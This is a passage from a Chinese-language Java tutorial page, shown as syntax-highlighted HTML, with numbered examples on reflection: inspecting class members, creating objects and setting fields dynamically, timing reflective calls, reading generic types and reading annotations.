</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="7-获得类的信息">7. 获得类的信息</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Constructor;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Field;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Method;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//获得类的信息</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest08</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> ClassNotFoundException, NoSuchFieldException, NoSuchMethodException {
</span></span><span style="display:flex;"><span>        Class c1 <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;com.onlineframework.User&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c1.<span style="color:#a6e22e">getName</span>());       <span style="color:#75715e">//获得包名+类名  com.onlineframework.User</span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c1.<span style="color:#a6e22e">getSimpleName</span>()); <span style="color:#75715e">//获得类名      User</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;======================================================&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (Field field : c1.<span style="color:#a6e22e">getFields</span>()) {    <span style="color:#75715e">//只能找到public属性</span>
</span></span><span style="display:flex;"><span>            System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(field);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//Field name = c1.getField(&#34;name&#34;);  // 获取不到</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;==============getDeclaredFields============================&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (Field declaredField : c1.<span style="color:#a6e22e">getDeclaredFields</span>()) {    <span style="color:#75715e">//获得所有属性</span>
</span></span><span style="display:flex;"><span>            System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(declaredField);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        Field name1 <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getDeclaredField</span>(<span style="color:#e6db74">&#34;name&#34;</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(name1);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;==============getMethods=======================&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (Method method : c1.<span style="color:#a6e22e">getMethods</span>()) { <span style="color:#75715e">//获得所有public方法（包括父类），不包括所有private</span>
</span></span><span style="display:flex;"><span>            System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(method);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;==============getDeclaredMethods=======================&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (Method declaredMethod : c1.<span style="color:#a6e22e">getDeclaredMethods</span>()) { <span style="color:#75715e">//只获得该类内方法，包括private</span>
</span></span><span style="display:flex;"><span>            System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(declaredMethod);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;==============getMethod=======================&#34;</span>);
</span></span><span style="display:flex;"><span>        Method getName <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getMethod</span>(<span style="color:#e6db74">&#34;getName&#34;</span>, <span style="color:#66d9ef">null</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(getName);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c1.<span style="color:#a6e22e">getMethod</span>(<span style="color:#e6db74">&#34;setName&#34;</span>, String.<span style="color:#a6e22e">class</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;==============getConstructors (public only)=======================&#34;</span>);
</span></span><span style="display:flex;"><span>        Constructor<span style="color:#f92672">[]</span> constructors <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getConstructors</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (Constructor constructor : constructors) {
</span></span><span style="display:flex;"><span>            System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(constructor);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;==============getDeclaredConstructors (all)=======================&#34;</span>);
</span></span><span style="display:flex;"><span>        Constructor<span style="color:#f92672">[]</span> declaredConstructors <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getDeclaredConstructors</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (Constructor declaredConstructor : declaredConstructors) {
</span></span><span style="display:flex;"><span>            System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(declaredConstructor);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;==============getDeclaredConstructor=======================&#34;</span>);
</span></span><span style="display:flex;"><span>        Constructor declaredConstructor <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getDeclaredConstructor</span>(String.<span style="color:#a6e22e">class</span>, Integer.<span style="color:#a6e22e">TYPE</span>, Integer.<span style="color:#a6e22e">TYPE</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(declaredConstructor);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="8-通过反射动态创建对象">8. 通过反射动态创建对象</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Constructor;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Field;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.InvocationTargetException;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Method;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//通过反射动态创建对象</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest09</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
</span></span><span style="display:flex;"><span>        Class c1 <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;com.onlineframework.User&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        User newInstance <span style="color:#f92672">=</span> (User)c1.<span style="color:#a6e22e">newInstance</span>();  <span style="color:#75715e">//无参构造器</span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(newInstance);        <span style="color:#75715e">// User{name=&#39;null&#39;, id=0, age=0}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//通过构造器创建对象</span>
</span></span><span style="display:flex;"><span>        Constructor declaredConstructor <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getDeclaredConstructor</span>(String.<span style="color:#a6e22e">class</span>, <span style="color:#66d9ef">int</span>.<span style="color:#a6e22e">class</span>, <span style="color:#66d9ef">int</span>.<span style="color:#a6e22e">class</span>);
</span></span><span style="display:flex;"><span>        Object aaa <span style="color:#f92672">=</span> declaredConstructor.<span style="color:#a6e22e">newInstance</span>(<span style="color:#e6db74">&#34;aaa&#34;</span>, 11, 12);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(aaa);        <span style="color:#75715e">// User{name=&#39;aaa&#39;, id=11, age=12}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//通过反射调用方法</span>
</span></span><span style="display:flex;"><span>        User user <span style="color:#f92672">=</span> (User) c1.<span style="color:#a6e22e">newInstance</span>();
</span></span><span style="display:flex;"><span>        Method setName <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getMethod</span>(<span style="color:#e6db74">&#34;setName&#34;</span>, String.<span style="color:#a6e22e">class</span>);
</span></span><span style="display:flex;"><span>        setName.<span style="color:#a6e22e">invoke</span>(user,<span style="color:#e6db74">&#34;name1&#34;</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(user);       <span style="color:#75715e">// User{name=&#39;name1&#39;, id=0, age=0}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//通过反射操作属性(private异常)</span>
</span></span><span style="display:flex;"><span>        Field name <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getDeclaredField</span>(<span style="color:#e6db74">&#34;name&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//name.set(user,&#34;name2&#34;);</span>
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(user);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//通过反射操作属性</span>
</span></span><span style="display:flex;"><span>        name.<span style="color:#a6e22e">setAccessible</span>(<span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span>        name.<span style="color:#a6e22e">set</span>(user,<span style="color:#e6db74">&#34;name3&#34;</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(user);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="9-反射的性能">9. 反射的性能</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> javax.jws.soap.SOAPBinding;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.InvocationTargetException;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Method;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//性能问题</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest10</span> {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">test_ordinary</span>(){
</span></span><span style="display:flex;"><span>        User user <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> User();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">long</span> startTime <span style="color:#f92672">=</span> System.<span style="color:#a6e22e">currentTimeMillis</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span>0;i<span style="color:#f92672">&lt;</span> 1000000000 ;i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>            user.<span style="color:#a6e22e">getName</span>();
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">long</span> endTime <span style="color:#f92672">=</span> System.<span style="color:#a6e22e">currentTimeMillis</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;普通方法：&#34;</span><span style="color:#f92672">+</span>(endTime <span style="color:#f92672">-</span> startTime) <span style="color:#f92672">+</span><span style="color:#e6db74">&#34;ms&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">test_reflection</span>() <span style="color:#66d9ef">throws</span> NoSuchMethodException, InvocationTargetException, IllegalAccessException {
</span></span><span style="display:flex;"><span>        User user <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> User();
</span></span><span style="display:flex;"><span>        Class c1 <span style="color:#f92672">=</span> user.<span style="color:#a6e22e">getClass</span>();
</span></span><span style="display:flex;"><span>        Method getName <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getMethod</span>(<span style="color:#e6db74">&#34;getName&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">long</span> startTime <span style="color:#f92672">=</span> System.<span style="color:#a6e22e">currentTimeMillis</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span>0;i<span style="color:#f92672">&lt;</span> 1000000000 ;i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>            getName.<span style="color:#a6e22e">invoke</span>(user);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">long</span> endTime <span style="color:#f92672">=</span> System.<span style="color:#a6e22e">currentTimeMillis</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;反射方法：&#34;</span><span style="color:#f92672">+</span>(endTime <span style="color:#f92672">-</span> startTime) <span style="color:#f92672">+</span><span style="color:#e6db74">&#34;ms&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">test_reflection_without_accessible</span>() <span style="color:#66d9ef">throws</span> NoSuchMethodException, InvocationTargetException, IllegalAccessException {
</span></span><span style="display:flex;"><span>        User user <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> User();
</span></span><span style="display:flex;"><span>        Class c1 <span style="color:#f92672">=</span> user.<span style="color:#a6e22e">getClass</span>();
</span></span><span style="display:flex;"><span>        Method getName <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getMethod</span>(<span style="color:#e6db74">&#34;getName&#34;</span>);
</span></span><span style="display:flex;"><span>        getName.<span style="color:#a6e22e">setAccessible</span>(<span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">long</span> startTime <span style="color:#f92672">=</span> System.<span style="color:#a6e22e">currentTimeMillis</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i<span style="color:#f92672">=</span>0;i<span style="color:#f92672">&lt;</span> 1000000000 ;i<span style="color:#f92672">++</span>){
</span></span><span style="display:flex;"><span>            getName.<span style="color:#a6e22e">invoke</span>(user);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">long</span> endTime <span style="color:#f92672">=</span> System.<span style="color:#a6e22e">currentTimeMillis</span>();
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;反射方法关闭检测：&#34;</span><span style="color:#f92672">+</span>(endTime <span style="color:#f92672">-</span> startTime) <span style="color:#f92672">+</span><span style="color:#e6db74">&#34;ms&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> InvocationTargetException, NoSuchMethodException, IllegalAccessException {
</span></span><span style="display:flex;"><span>        test_ordinary();
</span></span><span style="display:flex;"><span>        test_reflection();
</span></span><span style="display:flex;"><span>        test_reflection_without_accessible();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//普通方法：4ms</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//反射方法：2228ms</span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//反射方法关闭检测：1485ms</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="10-反射获取泛型">10. 反射获取泛型</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Method;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.ParameterizedType;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.reflect.Type;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.util.List;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.util.Map;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//反射获取泛型</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest11</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">test1</span>(Map<span style="color:#f92672">&lt;</span>String,User<span style="color:#f92672">&gt;</span> map, List<span style="color:#f92672">&lt;</span>User<span style="color:#f92672">&gt;</span> list){
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;test1&#34;</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> Map<span style="color:#f92672">&lt;</span>String,User<span style="color:#f92672">&gt;</span> <span style="color:#a6e22e">test2</span>(){
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;test2&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> NoSuchMethodException {
</span></span><span style="display:flex;"><span>        Method method1 <span style="color:#f92672">=</span> ReflectionTest11.<span style="color:#a6e22e">class</span>.<span style="color:#a6e22e">getMethod</span>(<span style="color:#e6db74">&#34;test1&#34;</span>, Map.<span style="color:#a6e22e">class</span>, List.<span style="color:#a6e22e">class</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//获得参数的泛型类型</span>
</span></span><span style="display:flex;"><span>        Type<span style="color:#f92672">[]</span> genericParameterTypes1 <span style="color:#f92672">=</span> method1.<span style="color:#a6e22e">getGenericParameterTypes</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (Type type : genericParameterTypes1) {
</span></span><span style="display:flex;"><span>            System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(type);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span>(type <span style="color:#66d9ef">instanceof</span> ParameterizedType){  <span style="color:#75715e">//ParameterizedType 参数化类型，例如Collection&lt;String&gt;</span>
</span></span><span style="display:flex;"><span>                Type<span style="color:#f92672">[]</span> actualTypeArguments <span style="color:#f92672">=</span> ((ParameterizedType) type).<span style="color:#a6e22e">getActualTypeArguments</span>();
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">for</span> (Type actualTypeArgument : actualTypeArguments) {
</span></span><span style="display:flex;"><span>                    System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;  &#34;</span><span style="color:#f92672">+</span>actualTypeArgument);
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(<span style="color:#e6db74">&#34;======================test2================&#34;</span>);
</span></span><span style="display:flex;"><span>        Method test2 <span style="color:#f92672">=</span> ReflectionTest11.<span style="color:#a6e22e">class</span>.<span style="color:#a6e22e">getMethod</span>(<span style="color:#e6db74">&#34;test2&#34;</span>);
</span></span><span style="display:flex;"><span>        Type genericReturnType <span style="color:#f92672">=</span> test2.<span style="color:#a6e22e">getGenericReturnType</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span>(genericReturnType <span style="color:#66d9ef">instanceof</span> ParameterizedType){
</span></span><span style="display:flex;"><span>            Type<span style="color:#f92672">[]</span> actualTypeArguments <span style="color:#f92672">=</span> ((ParameterizedType) genericReturnType).<span style="color:#a6e22e">getActualTypeArguments</span>();
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (Type actualTypeArgument : actualTypeArguments) {
</span></span><span style="display:flex;"><span>                System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(actualTypeArgument);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="11-注解与反射">11. 注解与反射</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">package</span> com.onlineframework;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.lang.annotation.*;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ReflectionTest12</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> ClassNotFoundException, NoSuchFieldException {
</span></span><span style="display:flex;"><span>        Class c1 <span style="color:#f92672">=</span> Class.<span style="color:#a6e22e">forName</span>(<span style="color:#e6db74">&#34;com.onlineframework.Student2&#34;</span>);
</span></span><span style="display:flex;"><span>        Annotation<span style="color:#f92672">[]</span> annotations <span style="color:#f92672">=</span> c1.<span style="color:#a6e22e">getAnnotations</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (Annotation annotation : annotations) {
</span></span><span style="display:flex;"><span>            System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(annotation);     <span style="color:#75715e">//@com.onlineframework.Student2Table(value=db_student)</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//获得注解的value</span>
</span></span><span style="display:flex;"><span>        Student2Table c1Annotation <span style="color:#f92672">=</span> (Student2Table)c1.<span style="color:#a6e22e">getAnnotation</span>(Student2Table.<span style="color:#a6e22e">class</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(c1Annotation.<span style="color:#a6e22e">value</span>());<span style="color:#75715e">//db_student</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//获得注解的其他属性</span>
</span></span><span style="display:flex;"><span>        Student2Field nameAnnotation <span style="color:#f92672">=</span> (Student2Field)c1.<span style="color:#a6e22e">getDeclaredField</span>(<span style="color:#e6db74">&#34;name&#34;</span>).<span style="color:#a6e22e">getAnnotation</span>(Student2Field.<span style="color:#a6e22e">class</span>);
</span></span><span style="display:flex;"><span>        System.<span style="color:#a6e22e">out</span>.<span style="color:#a6e22e">println</span>(nameAnnotation.<span style="color:#a6e22e">col</span>());<span style="color:#75715e">//db_name</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Student2Table</span>(<span style="color:#e6db74">&#34;db_student&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Student2</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Student2Field</span>(col <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;db_name&#34;</span>,type <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;char&#34;</span>,length <span style="color:#f92672">=</span> 10)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> String name;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Student2Field</span>(col <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;db_id&#34;</span>,type <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;int&#34;</span>,length <span style="color:#f92672">=</span> 10)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">int</span> id;
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Student2Field</span>(col <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;db_age&#34;</span>,type <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;int&#34;</span>,length <span style="color:#f92672">=</span> 10)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">int</span> age;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">Student2</span>(){
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#a6e22e">Student2</span>(String name, <span style="color:#66d9ef">int</span> id, <span style="color:#66d9ef">int</span> age) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">name</span> <span style="color:#f92672">=</span> name;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">id</span> <span style="color:#f92672">=</span> id;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">age</span> <span style="color:#f92672">=</span> age;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Override</span>
